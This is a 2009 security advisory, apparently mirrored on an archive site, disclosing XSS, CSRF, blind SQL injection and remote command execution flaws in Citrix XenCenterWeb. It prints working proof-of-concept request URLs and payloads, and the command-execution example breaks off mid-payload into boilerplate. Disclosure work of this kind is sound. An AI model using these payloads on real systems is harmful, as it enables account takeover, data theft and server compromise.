Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Citrix :: bt-21274.htm

Citrix XenCenterWeb Multiple Vulnerabilities



Citrix XenCenterWeb Multiple Vulnerabilities
Citrix XenCenterWeb Multiple Vulnerabilities



Secure Network - Security Research Advisory

Vuln name: Citrix XenCenterWeb Multiple Vulnerabilities 
Systems affected: Citrix XenCenterWeb
Systems not affected: n/a
Severity: High
Local/Remote: Remote
Vendor URL: http://www.citrix.com 
Author(s): Alberto Trivero a.trivero@securenetwork.it - 
Claudio Criscione c.criscione@securenetwork.it 
Vendor disclosure: 1/06/2009
Vendor acknowledged: 11/06/2009
Vendor patch release: n/a
Public disclosure: 06/07/2009
Advisory number: SN-2009-01
Advisory URL: http://securenetwork.it/ricerca/advisory/download/SN-2009-01.txt 


*** SUMMARY ***

Citrix XenCenterWeb is a web interface for Citrix XenServer environment 
management.
Users of XenCenterWeb will be able to see a list of Virtual Machines in the 
Resource Pool, perform life-cycle actions (start, shutdown, restart, etc.), 
get basic information about the hosts in the Resource Pools, information about 
the VMs and also connect to the console of the VMs.

Due to poor validation of some user controlled inputs, a variety of attacks 
against the application and the underlying server are possible.
Cross-site scripting, cross-site request forgery, SQL injection and remote 
command execution attack vectors were identified as well. 

XSS and CSRF attacks can be performed on the virtual appliance itself, while 
the others require the PHP parameter magic_quotes_gpc to be off on the web 
server.

*** VULNERABILITY DETAILS ***

(a) Cross-site Scripting (XSS) and Cross-site Request Forgery (CSRF)
With the default PHP configuration (register_globals=Off and 
magic_quotes_gpc=On), both XSS and CSRF attacks can be executed.

The first XSS attack exploits the lack of sanitization in the username 
parameter in edituser.php script and requires the victim to be able to access 
configuration scripts: 
https://xencenterweb.loc/config/edituser.php?username=1

Under the same conditions, a CSRF attack can be executed to change the 
password of an arbitrary user:
https://xencenterweb.loc/config/changepw.php?username=[victim_username]&newpass=[attacker's_chosen_pwd]

Another CSRF attack can hard stop a VM of the attacker's choice:
https://xencenterweb.loc/hardstopvm.php?stop_vmref=[VMref]&stop_vmname=[VMname]

Other XSS vulnerabilities afflict scripts which are accessible by anyone:
https://xencenterweb.loc/console.php?location=1"><"&vmname=myVM
https://xencenterweb.loc/console.php?location=1&sessionid=1"><"&vmname=myVM
https://xencenterweb.loc/console.php?location=1&sessionid=1&vmname=myVM
https://xencenterweb.loc/forcerestart.php?vmrefid=1"><"&vmname=myVM
https://xencenterweb.loc/forcerestart.php?vmrefid=1&vmname=myVM"><"
https://xencenterweb.loc/forcesd.php?vmrefid=1&vmname=myVM"><"
https://xencenterweb.loc/forcesd.php?vmrefid=1"><"&vmname=myVM

(b) SQL Injection
The username parameter in the login.php script is vulnerable to a Blind SQL 
Injection attack.
An attacker can retrieve the whole database schema through specially crafted 
requests.
Here is an example proof of concept:
https://xencenterweb.loc/login.php?username=user' UNION SELECT if(user() LIKE 
'root@%', benchmark(1000000,sha1('test')), 'false')/*
Obviously, other high profile attacks can be performed through this attack 
vector.

(c) Remote Command Execution
An attacker could write arbitrary data in the file 
/usr/local/lib/php/include/config.ini.php
through the file /var/www/config/writeconfig.php. Due to this unsecure behavior, 
arbitrary commands can be executed on the machine.
If a victim with the proper authorization follows this link:
https://xencenterweb.loc/config/writeconfig.php?pool1='; ?>  (www.securenetwork.it) is an information security company, 
which provides consulting and training services, and engages in security 
research and development. 

We are committed to open, full disclosure of vulnerabilities, cooperating
whenever possible with software developers for properly handling disclosure.

This advisory is copyright 2009 Secure Network S.r.l. Permission is 
hereby granted for the redistribution of this alert, provided that it is
not altered except by reformatting it, and that due credit is given. It 
may not be edited in any way without the express consent of Secure Network 
S.r.l. Permission is explicitly given for insertion in vulnerability 
databases and similars, provided that due credit is given to Secure Network.

The information in the advisory is believed to be accurate at the time of 
publishing based on currently available information. This information is
provided as-is, as a free service to the community by Secure Network 
research staff. There are no warranties with regard to this information. 
Secure Network does not accept any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

If you have any comments or inquiries, or any issue with what is reported 
in this advisory, please inform us as soon as possible.

E-mail: securenetwork {at} securenetwork.it
GPG/PGP key: http://www.securenetwork.it/pgpkeys/Secure%20Network.asc 
Phone: +39 02 24126788



TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH